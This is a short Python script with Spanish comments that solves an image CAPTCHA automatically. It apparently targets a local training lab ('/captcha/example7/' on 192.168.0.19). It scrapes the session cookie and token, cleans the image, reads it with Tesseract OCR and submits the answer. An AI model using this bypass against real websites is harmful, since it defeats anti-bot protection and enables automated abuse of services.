from PIL import Image
from urllib.error import *
from urllib.request import *
from urllib.parse import *
import subprocess
import urllib,  requests, re, json
import cv2

ip = '192.168.0.19'

def getpage():
    try:
        print("[+] Descargando Pagina");  
        site = urllib.request.urlopen("http://"+ip+"/captcha/example7/")
        global cookie
        cookie = site.getheader('Set-Cookie')
        print("-----Cookie extraida: " + cookie)
        site_html = site.read().decode("utf-8")
        #print(site_html)
        global token
        #Obtener el token (10 numeros + . + 7 numeros
        token = re.findall('[(\d+.\d+)]{18}', site_html)
        print ("-----Token: " + token[0])
    except URLError as e:
        print ("*****Error: No puede descargar la pagina*****")

 
def getcaptcha():
    try:
        print("[+] Descargando Captcha"); 
        captchaurl = "http://"+ip+"/captcha/example7/captcha.png?t="+token[0] 
        urlretrieve(captchaurl,'captcha.png')
    except URLError as e:
        print ("*****Error: No puede descargar la pagina*****")


def resizer():
    print("[+] Redimensionando...")
    im1 = Image.open("captcha.png")
    width, height = im1.size
    im2 = im1.resize((int(width*5), int(height*5)), Image.BICUBIC)
    im2.save("captcha1.png")


def fixcolor():
    print("[+] Eliminando lineas azules...")
    img = Image.open("captcha1.png")
    image_data = img.load()
    
    for y in range(img.size[1]):
        for x in range(img.size[0]):
            if image_data[x,y][0] > 10 and image_data[x,y][1] > 10 and image_data[x,y][2] > 10:
                image_data[x,y] = (255,255,255,255)             

    img.save('captcha2.png')

def tesseract():
    try:
        print("[+] Ejecutando Tesseract...")
        #Run Tesseract, -psm 8, tells Tesseract we are looking for a single word 
        subprocess.call(['tesseract', 'captcha2.png', 'output'])
        f = open ("output.txt","r")
        global cvalue
  #Borra los espacios en blanco y las nuevas lineas de la salida Tesseract
        cvaluelines = f.read().replace(" ", "").split('\n')
        cvalue = cvaluelines[0]
        print("-----Captcha: " + cvalue); 
    except Exception as e:
        print ("Error: " + str(e))

  
def send():
    try:
        print("[+] Enviando peticion...")
        urlconcaptcha = "http://"+ip+"/captcha/example7/submit?captcha="+str(cvalue)+"&Submit+Query"
        print("-----URL: " + urlconcaptcha)
        request = urllib.request.Request(urlconcaptcha,headers={'Cookie':cookie})
        f = urlopen(request)
        response = f.read().decode('utf-8')
        #print(response)
        exito = re.search('Success', response)
        if exito:
            print("-----Conseguido!")
        else:
            print ("-----Fallo!")
    except Exception as e:
        print ("Error: " + str(e))


print("[+] Inicio!")
#Descarga la página y la parsea
getpage()
#Descarga la imagen del captcha
getcaptcha()
#Redimensiona la imagen del captcha 
resizer()
#Quitar lineas a la imagen del captcha
fixcolor()
#Usa Tesseract para analizar la imagen del captcha
tesseract()
#Envia la peticion al sitio con los datos del formulario y el captcha
send()
print("[+] Fin!")